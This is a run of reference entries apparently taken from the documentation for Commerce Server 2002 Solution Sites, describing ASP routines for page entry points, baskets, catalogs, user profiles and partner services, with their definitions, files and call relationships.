This sub serves as the entry point into the file summary.asp, which displays an order summary that includes the grand total.

Definition

Sub Main()

Defined in File

summary.asp

Routines Called

AddDiscountMessages (std_ordergrp_lib.asp)

EnsureAccess

htmRenderSummaryPage

InitializeSummaryPage

TerminateSummaryPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub removes unreferenced addresses from the order form, adds discount messages to each line item, checks for VerifyWith errors, saves the basket, and prepares the HTML that will render the page.


Main (welcome.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file welcome.asp, which displays a welcome page.

Definition

Sub Main()

Defined in File

welcome.asp

Routines Called

RenderLink

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

A user is redirected to this page by the routine EnsureAccess when a user with a registered profile only has a profile ticket (as is the case when they return to the site after closing their browser). For more information about logging in, see About the Login Feature for Solution Sites.


Main (error\baditem.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file error\baditem.asp, which displays the message that a catalog item is unavailable.

Definition

Sub Main()

Defined in File

error\baditem.asp

Routines Called

RenderText

RenderUnorderedList

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (error\badurl.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file error\badurl.asp, which displays the message that the URL is not valid.

Definition

Sub Main()

Defined in File

error\badurl.asp

Routines Called

GenerateURL

RenderLink

RenderText

RenderUnorderedList

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (error\closed.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file error\closed.asp, which displays the message that the site is closed.

Definition

Sub Main()

Defined in File

error\closed.asp

Routines Called

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (error\construc.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file error\construc.asp, which displays the message that the site is under construction.

Definition

Sub Main()

Defined in File

error\construc.asp

Routines Called

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (error\noauth.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file error\noauth.asp, which displays the message that the user is not authorized to access the page.

Definition

Sub Main()

Defined in File

error\noauth.asp

Routines Called

GenerateURL

RenderLink

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (error\profile.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file error\profile.asp, which displays the message that the user's account (profile) could not be found.

Definition

Sub Main()

Defined in File

error\profile.asp

Routines Called

RenderLink

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (include\global_main_lib.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file global.asa, which creates and initializes many of the objects supplied by Commerce Server 2002. References to these objects are stored in the intrinsic Application object so that they can be retrieved and used from Web site pages.

Definition

Sub Main()

Defined in File

include\global_main_lib.asp

Routines Called

dictGetCatalogAttributes

dictGetProfileSchemaForAllProfileTypes

GetAppConfigObject

GetConfigDictionary

GetFormDefinitions

GetINIFileName

GetINIString

GetMessageManagerObject

GetObjectInstanceDictionary

GetPartnerAndCustomerServicePageAttributes

GetPaymentMethodsForSite

GetSecurePagesDictionary

GetSitePages

GetSiteStyles

InitAltCurrencyDisp

InitAuthManager

InitCacheManager

InitCatalogManager

InitCatalogSets

InitCSF

InitDataFunctions

InitPageSets

InitPredictor

InitProfileService

InitSitePipelines

IsActiveDirectoryPresent

JoinWebFarm

oGetGenIDObject

oGetOpenConnectionObject

sGetActiveDirectoryDefaultNamingContext

Called By

Application_OnStart

Remarks

This sub creates instances of the following Commerce Server objects: AppConfig, ProfileService, CacheManager, AuthManager, Pipeline, MessageManager, DataFunctions, CatalogManager, ExpressionEvaluator, and Predictor.

This sub gets the Commerce Server site application names from the configuration file, gets the Active Directory domain name (if the Active Directory data store is used), gets the Dictionary object for all the profiles and profile properties, and gets the Dictionary object of Dictionary objects containing properties for all pages.


Main (login\_guest.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file login\_guest.asp, which generally redirects the user to the home page (default.asp) as a guest user.

Definition

Sub Main()

Defined in File

login\_guest.asp

Routines Called

GenerateURL

GetNewGuestUserProfile

IsPersistentCookieAllowed

sGetUserIDForNewGuestUser

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

For more detailed information about logging in, see About the Login Feature for Solution Sites.


Main (login\login.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file login\login.asp, which displays the login page.

Definition

Sub Main()

Defined in File

login\login.asp

Routines Called

GenerateURL

htmRenderLoginPage

PrepareLoginPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

For more detailed information about logging in, see About the Login Feature for Solution Sites.


Main (login\logoff.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file login\logoff.asp, which displays the logoff page.

Definition

Sub Main()

Defined in File

login\logoff.asp

Routines Called

htmRenderLogoffPage

PrepareLogoffPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

For more detailed information about logging in, see About the Login Feature for Solution Sites.


Main (login\newuser.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file login\newuser.asp, which allows a new user to register and checks the user name and password for validity.

Definition

Sub Main()

Defined in File

login\newuser.asp

Routines Called

bRegistrationPageNotAvailable

GenerateURL

htmRenderNewUserPage

PrepareNewUserPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\change_password.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\change_password.asp, which allows Partner Services passwords to be changed.

Definition

Sub Main()

Defined in File

services\change_password.asp

Routines Called

CheckIfProfilesExist

EnsureAuthAccess

GenerateURL

InitializePartnerDesk

PasswordActionHandlers

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\customer\account.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\customer\account.asp, which allows users to view and modify their own profile.

Definition

Sub Main()

Defined in File

services\customer\account.asp

Routines Called

CheckIfProfilesExist

EnsureAuthAccess

GenerateURL

htmChangePasswordActionHandler

htmEditAction

htmSaveActionHandler

InitializePartnerDesk

PrepareEditAction

PrepareSaveAction

PrepareSaveChangesConfirmation

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\customer\orders.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\customer\orders.asp, which allows users to search for their orders.

Definition

Sub Main()

Defined in File

services\customer\orders.asp

Routines Called

EnsureAuthAccess

htmRenderOrderList

InitializePartnerDesk

OrderListActionHandler

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\customer\view_order.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\customer\view_order.asp, which allows users to view their orders.

Definition

Sub Main()

Defined in File

services\customer\view_order.asp

Routines Called

CheckIfOrderExists

CloseOrderDetailsActionHandler

EnsureAuthAccess

GenerateURL

htmOrderDetailsActionHandler

InitializePartnerDesk

PrepareCloseOrderDetailsAction

PrepareOrderDetailsAction

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\error\badaction.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\error\badaction.asp, which displays the message that an invalid action was requested.

Definition

Sub Main()

Defined in File

services\error\badaction.asp

Routines Called

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\error\noaccess.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\error\noaccess.asp, which displays the message that the user does not have the necessary privileges to access the page.

Definition

Sub Main()

Defined in File

services\error\noaccess.asp

Routines Called

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\error\noorder.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\error\noorder.asp, which displays the message that the requested order is not available.

Definition

Sub Main()

Defined in File

services\error\noorder.asp

Routines Called

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\error\noorgprofile.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\error\noorgprofile.asp, which displays the message that the user does not belong to an organization.

Definition

Sub Main()

Defined in File

services\error\noorgprofile.asp

Routines Called

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\error\noprofile.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\error\noprofile.asp, which displays the message that posted profiles are invalid.

Definition

Sub Main()

Defined in File

services\error\noprofile.asp

Routines Called

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\partner\account.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\partner\account.asp, which allows administrators to view and modify the profile for their organization.

Definition

Sub Main()

Defined in File

services\partner\account.asp

Routines Called

CheckIfProfilesExist

CheckPartnerServiceAccess

EnsureAuthAccess

GenerateURL

htmEditAction

htmSaveActionHandler

htmSelectActionHandlerForEdit

htmSelectedActionHandlerForEdit

InitializePartnerDesk

PrepareEditAction

PrepareSaveAction

PrepareSelectActionHandlerForEdit

PrepareSelectedAction

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\partner\edit_user.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\partner\edit_user.asp, which allows administrators to add, delete, or modify profiles that belong to members of their organization.

Definition

Sub Main()

Defined in File

services\partner\edit_user.asp

Routines Called

CheckIfProfilesExist

CheckPartnerServiceAccess

EnsureAuthAccess

htmEditPageActionHandlers

InitializePartnerDesk

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\partner\orders.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\partner\orders.asp, which allows administrators to search for orders made by members of their organization.

Definition

Sub Main()

Defined in File

services\partner\orders.asp

Routines Called

CheckPartnerServiceAccess

EnsureAuthAccess

htmOrderListActionHandler

InitializePartnerDesk

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\partner\users.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\partner\users.asp, which allows administrators to search for and manage the user profiles associated with their organization.

Definition

Sub Main()

Defined in File

services\partner\users.asp

Routines Called

CheckPartnerServiceAccess

EnsureAuthAccess

htmListPageActionHandlers

InitializePartnerDesk

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\partner\view_order.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\partner\view_order.asp, which allows administrators to view orders made by members of their organization.

Definition

Sub Main()

Defined in File

services\partner\view_order.asp

Routines Called

CheckIfOrderExists

CheckPartnerServiceAccess

CloseOrderDetailsActionHandler

EnsureAuthAccess

GenerateURL

htmOrderDetailsActionHandler

InitializePartnerDesk

PrepareCloseOrderDetailsAction

PrepareOrderDetailsAction

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


MoveBasketItems - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function moves the items in the source basket to the destination basket. The source basket must exist and contain at least one item; the destination basket may or may not exist.

Definition

Function MoveBasketItems(
  byVal sSourceBasketID,
  byVal sDestinationBasketID
)

Defined in File

login\login.asp

Routines Called

GetOrderGroupManager

LoadBasket

Called By

PrepareLoginPage


mscsGetCategoryObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the Category object for the given category name. If the category name is "" (meaning the root category), this function returns Nothing, as the catalog does not have a Category object for the root category.

Definition

Function mscsGetCategoryObject(
  byVal oCatalog,
  byVal sCategoryName
)

Defined in File

include\catalog.asp

Routines Called

GenerateURL

Called By

listGetShownProductsInfo

Main (category.asp)

PrepareDefaultPage


mscsGetOrderGroupWithDiscountsByID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the OrderGroup object associated with the current user, loads the order specified by the iID parameter, adds discount messages, and then returns a reference to the OrderGroup object.

Definition

Function mscsGetOrderGroupWithDiscountsByID(
  iID
)

Defined in File

services\include\logic_orders.asp

Routines Called

AddDiscountMessages (services\include\logic_orders.asp)

GetOrderGroup

Called By

tblRenderOrderDetailsContents


mscsGetProductList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the product Recordset object for a specified category, using the specified paging information.

Definition

Function mscsGetProductList(
  oCatalog,
  oCategory,
  nPageNumber,
  nOutRecordsTotal,
  nOutPagesTotal
)

Defined in File

include\catalog.asp

Routines Called

None.

Called By

listGetShownProductsInfo

Main (category.asp)

PrepareDefaultPage

Remarks

The nOutRecordsTotal and nOutPagesTotal parameters are used to return data to the caller.

If the oCategory parameter is Nothing, this function returns the Recordset object returned by the RootProducts property of the catalog.


mscsGetSubCategoriesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the child categories Recordset object for the Category object specified by the oCategory parameter.

Definition

Function mscsGetSubCategoriesList(
  byVal oCatalog,
  byVal oCategory
)

Defined in File

include\catalog.asp

Routines Called

None.

Called By

htmRenderCategoryPage

PrepareCatalogSection

Remarks

If the oCategory parameter is Nothing, this function returns the Recordset object returned by the RootCategories property of the catalog.


mscsNewRegisteredUserProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and then returns a reference to a ProfileObject object for a new user.

Definition

Function mscsNewRegisteredUserProfile(
  byVal sLoginName,
  byVal sLoginPassword
)

Defined in File

login\newuser.asp

Routines Called

GetQualifiedName

UpdateUserProfile

Called By

mscsTransferGuestUserProfile

PrepareNewUserPage


mscsTransferGuestUserProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function attempts to retrieve a profile for the current user. If found, this function updates the profile to reflect the fact that the user is now registered. If not found, this function creates and initializes a profile for the new user. In both cases, the resulting ProfileObject object is returned.

Definition

Function mscsTransferGuestUserProfile(
  byVal sLoginName,
  byVal sLoginPassword
)

Defined in File

login\newuser.asp

Routines Called

GetCurrentUserProfile

GetQualifiedName

mscsNewRegisteredUserProfile

UpdateUserProfile

Called By

PrepareNewUserPage


mscsUserCatalogs - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Recordset object that contains the catalogs associated with the current user.

Definition

Function mscsUserCatalogs()

Defined in File

include\catalog.asp

Routines Called

None.

Called By

arrSearchDept

PrepareCatalogSection

sUserCatalogsAsString


mscsUserCatalogsetID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the ID of the catalog set associated with the current user. If it is not found, the ID of the catalog set associated with the user's organization is returned. If it is not found, the ID of the default catalog set for the type of the current user is returned.

Definition

Function mscsUserCatalogsetID()

Defined in File

include\catalog.asp

Routines Called

GetCurrentUserProfile

rsGetProfileByKey

Called By

bFullTextResultsAreCached

bIsSearchDeptPageCached

EnsureUserHasRightsToCatalog

Main (default.asp)

PrepareRenderMenu


mscsUserCatalogsFromID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Recordset object containing the catalogs associated catalog set ID specified by the CatalogSetID parameter.

Definition

Function mscsUserCatalogsFromID(
  byVal CatalogSetID
)

Defined in File

include\catalog.asp

Routines Called

None.

Called By

PrepareDefaultPage


oCachedDiscountProductInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function serves as a caching wrapper for function listGetShownProductsInfo. It attempts to retrieve the requested information from the "DiscountProductInfo" cache, and if not found, generates it, caches it, and returns it.

Definition

Function oCachedDiscountProductInfo(
  sCatalogName,
  sCategoryName,
  nPageNumber,
  sProductID
)

Defined in File

template\discount.asp

Routines Called

CacheObject

listGetShownProductsInfo

LookupCachedObject

Called By

GetShownProductsDetails


oGetBizDataObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates an instance of the BusinessDataAdmin object and returns a reference to it, calling its Connect method before returning.

Definition

Function oGetBizDataObject()

Defined in File

include\global_data_lib.asp

Routines Called

None.

Called By

dictGetProfileSchemaForAllProfileTypes


oGetGenIDObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates an instance of the GenID object and returns a reference to it.

Definition

Function oGetGenIDObject()

Defined in File

include\global_data_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)


oGetOpenConnectionObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates an ADO Connection object and returns a reference to it, opening a connection to the Commercer Server OLEDB Provider before returning.

Definition

Function oGetOpenConnectionObject()

Defined in File

include\global_profile_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)

Remarks

The performance characterstics of the Commerce Provider dictate that the Solution Sites use a global connection. Most other providers recommend the creation of connections on a per-page basis.


oGetProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns an XML DOMDocument object that contains the profile specified by the sProfileName parameter.

Definition

Function oGetProfile(
  byVal oBizData,
  byVal sProfileName
)

Defined in File

include\global_profile_lib.asp

Routines Called

None.

Called By

dictGetProfileSchemaForAllProfileTypes


oGetSiteTermOptions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a SimpleList object of Dictionary objects, where each dictionary contains a single key/value pair. Each key/value pair represents the display name and value of one site term choice associated with the property specified by the sPropertyName parameter.

Definition

Function oGetSiteTermOptions (
  byVal sPropertyName,
  byRef oProfileDefsCatalog,
  byRef oSiteTermsProfile
)

Defined in File

include\global_siteterms_lib.asp

Routines Called

bIsSiteTerm

sGetReferenceString

Called By

dictGetPropertySchema


OptOut - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub adds the e-mail recipient specified by the rcp_email parameter to the opt-out list specified by the campitem_id parameter. If the campitem_id parameter is Null, a site-wide optout is performed.

Definition

Sub OptOut(
  rcp_email,
  campitem_id
)

Defined in File

opt-out.asp

Routines Called

CreateOptOutList

ErrorOut

GetOptOutList

SetOptOutList

Called By

Main (opt-out.asp)


OrderListActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as a wrapper for the sub InitializePagingVariables, passing its parameters through as is, and passing False for the bIsProfilePage parameter of sub InitializePagingVariables.

Definition

Sub OrderListActionHandler(
  byVal sAction,
  byRef iPageNumber,
  byRef iTotalPages
)

Defined in File

services\customer\orders.asp

Routines Called

InitializePagingVariables

Called By

Main (services\customer\orders.asp)


P - R

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This section contains topics for the following routines, beginning with the letters P through R.

Routine | File
ParseRequestForm | _recvpo.asp
PasswordActionHandlers | services\change_password.asp
PeekField | product.asp
PerformSpecificationSearch | stepsrch.asp
PopulateOrderSearchCriteria | services\include\lib.asp
PopulateProfileSearchCriteria | services\include\lib.asp
PredictedPropToHREF | basket.asp
PrepareAddAction | services\include\edit_handlers.asp
PrepareCatalogSection | template\menu.asp
PrepareCloseAction | services\include\edit_handlers.asp
PrepareCloseOrderDetailsAction | services\include\order_handlers.asp
PrepareCopyAction | services\include\edit_handlers.asp
PrepareDefaultPage | default.asp
PrepareDeleteAction | services\include\edit_handlers.asp
PrepareDeleteAllAction | services\include\edit_handlers.asp
PrepareDeselectAllAction | services\include\edit_handlers.asp
PrepareEditAction | services\include\edit_handlers.asp
PrepareEditAllAction | services\include\edit_handlers.asp
PrepareInsertProfile | services\include\edit_handlers.asp
PrepareLoginPage | login\login.asp
PrepareLoginSection | template\menu.asp
PrepareLogoffPage | login\logoff.asp
PrepareNewUserPage | login\newuser.asp
PrepareOrderDetailsAction | services\include\order_handlers.asp
PrepareOrderList | services\include\logic_orders.asp
PreparePickShipForm | pickship.asp
PrepareRenderMenu | template\menu.asp
PrepareSaveAction | services\include\edit_handlers.asp
PrepareSaveAllAction | services\include\edit_handlers.asp
PrepareSaveChangesConfirmation | services\include\messagebox_handlers.asp
PrepareSaveProfiles | services\include\edit_handlers.asp
PrepareSelectActionHandlerForEdit | services\include\edit_handlers.asp
PrepareSelectAllAction | services\include\edit_handlers.asp
PrepareSelectedAction | services\include\edit_handlers.asp
PrepareShippingMethods | pickship.asp
PrepareSpecificationSearch | stepsrch.asp
ProfileRefresh | RefreshApp.asp
PTag | include\html_lib.asp
RecordClickToBasket | redir.asp
RedirectOrderDetailsForIDs | services\include\order_handlers.asp
ReDirectToPage | services\include\lib.asp
RedirectToPOConfirmation | po.asp
RelocateRecordPointer2 | services\include\render_list.asp
RelocateRecordPointer | services\include\lib.asp
RemoveBlankItemsFromArray | include\std_string_lib.asp
RemoveCreditCardInfo | po.asp
RemoveEmptyOrderForms | include\std_ordergrp_lib.asp
RemovePurchaseOrderInfo | crdtcard.asp
RenderBasketPage | basket.asp
RenderCatalogLink | include\catalog.asp
RenderCatalogURL | include\catalog.asp
RenderCategoryLink | include\catalog.asp
RenderCategoryURL | include\catalog.asp
RenderCheckBox | include\html_lib.asp
RenderDetailedInfoList | error\500error.asp
RenderDiscounts | template\discount.asp
RenderElement | include\html_lib.asp
RenderErrorType | error\500error.asp
RenderForm | include\html_lib.asp
RenderHiddenField | include\html_lib.asp
RenderImageButton | include\html_lib.asp
RenderImage | include\html_lib.asp
RenderLink | include\html_lib.asp
RenderListBox | include\html_lib.asp
RenderListBoxFromArray | include\html_lib.asp
RenderListBoxFromSimpleList | include\html_lib.asp
RenderListFromSimpleList | include\html_lib.asp
RenderNavbar | template\navbar.inc
RenderPageInfo | error\500error.asp
RenderPasswordBox | include\html_lib.asp
RenderPostData | error\500error.asp
RenderPreFormattedText | include\html_lib.asp
RenderProductLink | include\catalog.asp
RenderProductURL | include\catalog.asp
RenderRadioButton | include\html_lib.asp
RenderResetButton | include\html_lib.asp
RenderSearchResultRow | include\catalog.asp
RenderSearchResults | include\catalog.asp
RenderSubmitButton | include\html_lib.asp
RenderTable | include\html_lib.asp
RenderTableDataRow | include\html_lib.asp
RenderTableHeaderRow | include\html_lib.asp
RenderTableRow | include\html_lib.asp
RenderTextBox | include\html_lib.asp
RenderText | include\html_lib.asp
RenderTime | error\500error.asp
RenderUnorderedList | include\html_lib.asp
RenderUnorderedListFromSimpleList | include\html_lib.asp
rowRenderAdvancedSearchOptionsForOrders | services\include\render_orders.asp
rowRenderBlankProperty | services\include\render_edit_blank.asp
rowRenderEditSheetBlankLine | services\include\render_common.asp
rowRenderHeader | services\include\render_common.asp
rowRenderHiddenProperty | services\include\render_edit_common.asp
rowRenderLineItemHeader | services\include\render_orders.asp
rowRenderListHeading | services\include\render_list.asp
rowRenderListHeadingForOrders | services\include\render_orders.asp
rowRenderMessageBoxPageContents | services\include\render_messagebox.asp
rowRenderProperty | services\include\render_edit_common.asp
rowRenderPropertyGroup | services\include\render_edit_common.asp
rowRenderPropertyTip | services\include\render_edit_common.asp
rowRenderReadOnlyProperty | services\include\render_edit_common.asp
rowRenderSearchOptionForDate | services\include\render_common.asp
rowRenderSearchOptionForInteger | services\include\render_common.asp
rowRenderSearchOptionForString | services\include\render_common.asp
rowRenderSimpleSearchOptionsForOrders | services\include\render_orders.asp
rowRenderStatusInfo | services\include\render_common.asp
rowsRenderAdvanceSearchOptionsForProfiles | services\include\render_list.asp
rowsRenderSimpleSearchOptionsForProfiles | services\include\render_list.asp
rsFreeTextSearch | include\catalog.asp
rsGetOrderDetails | services\include\requisition.asp
rsGetOrdersList | services\include\requisition.asp
rsGetOrgDetails | services\include\get_profiles.asp
rsGetProfileByKey | include\std_profile_lib.asp
rsGetProfile | include\std_profile_lib.asp
rsGetProfileDetails | services\include\get_profiles.asp
rsGetProfilesList | services\include\get_profiles.asp
rsGetShippingMethods | pickship.asp
rsGetUserDetails | services\include\get_profiles.asp
RsToDict | include\std_util_lib.asp
RunMtsPipeline | include\std_pipeline_lib.asp
RunOrderPipeline | _recvpo.asp


ParseRequestForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function converts a posted form to UNICODE characters and returns it as a string.

Definition

Function ParseRequestForm()

Return Value

A string containing the posted form, converted to UNICODE characters.

Defined in File

_recvpo.asp

Routines Called

None.

Called By

Main (_recvpo.asp)


PasswordActionHandlers - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function distributes the actual work to one of three other functions based on the value of the sAction parameter, and the return value of those functions is returned as the return value of this function.

Definition

Function PasswordActionHandlers(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Return Value

This function returns the value returned by one of the three functions ChangeActionHandler, UpdatePasswordActionHandler, or htmCancelUpdatePasswordAction.

Defined in File

services\change_password.asp

Routines Called

ChangeActionHandler

GenerateURL

htmCancelUpdatePasswordAction

UpdatePasswordActionHandler

Called By

Main (services\change_password.asp)

Remarks

If the sAction parameter is not equal to CHANGE_ACTION, SAVE_ACTION, or CANCEL_ACTION, the user is redirected to an error page.


PeekField - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function attempts to read a field from a Recordset object. If the field does not exist, it returns Null.

Definition

Function PeekField(
  byVal rs,
  byVal sFieldName
)

Defined in File

product.asp

Routines Called

None.

Called By

htmRenderUserDefinedProductProperties


PerformSpecificationSearch - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub provides business logic to help perform a specification search.

Definition

Sub PerformSpecificationSearch(
  byRef bViewResults,
  byRef oCatalog,
  byRef rsResults,
  byRef rsFields,
  byRef iMatchesFound,
  byVal sSearchHandle,
  byRef bClosestMatches
)

Defined in File

stepsrch.asp

Routines Called

bClickedViewButton

Called By

PrepareSpecificationSearch


PopulateOrderSearchCriteria - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves search criteria related to an order from the HTTP request and places it into the passed Dictionary object. It also performs validation for some date-related criteria.

Definition

Sub PopulateOrderSearchCriteria(
  byRef oSearchDictionary
)

Defined in File

services\include\lib.asp

Routines Called

bInvalidDate

GetRequestString

Called By

GetSearchDictionaryForThisPage


PopulateProfileSearchCriteria - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves search criteria related to a profile from the HTTP request and places it into the passed Dictionary object. It also performs validation for some date-related criteria.

Definition

Sub PopulateProfileSearchCriteria(
  byRef oSearchDictionary
)

Defined in File

services\include\lib.asp

Routines Called

bInvalidDate

GetRequestString

listCloneProfileSchema

Called By

GetSearchDictionaryForThisPage


PredictedPropToHREF - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs a hyperlink into the catalog from the products recommended by the Predictor resource.

Definition

Function PredictedPropToHREF(
  strProp
)

Defined in File

basket.asp

Routines Called

DoubleQuote

GenerateURL

Called By

htmRenderPredictions


PrepareAddAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes its five parameters in preparation for adding a user in Partner Services.

Definition

Sub PrepareAddAction(
  byRef sStatusField,
  byRef iStatusID,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

listCloneProfileSchema

Called By

htmEditPageActionHandlers


PrepareCatalogSection - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderCatalogSection by initializing the values of the passed parameters.

Definition

Sub PrepareCatalogSection(
  byRef rsCatalogs,
  byRef iCatalogCount,
  byRef oCatalog,
  byRef sCatalogName,
  byRef rsCategories
)

Defined in File

template\menu.asp

Routines Called

GetRecordCount

mscsGetSubCategoriesList

mscsUserCatalogs

Called By

htmRenderMenu

Remarks

This sub is called to prepare for creating the catalog section of the menu area.

The rsCatalogs parameter is initialized to a Recordset object of the catalogs associated with the user, and the iCatalogCount parameter is initialized to the number of catalogs in that Recordset object.

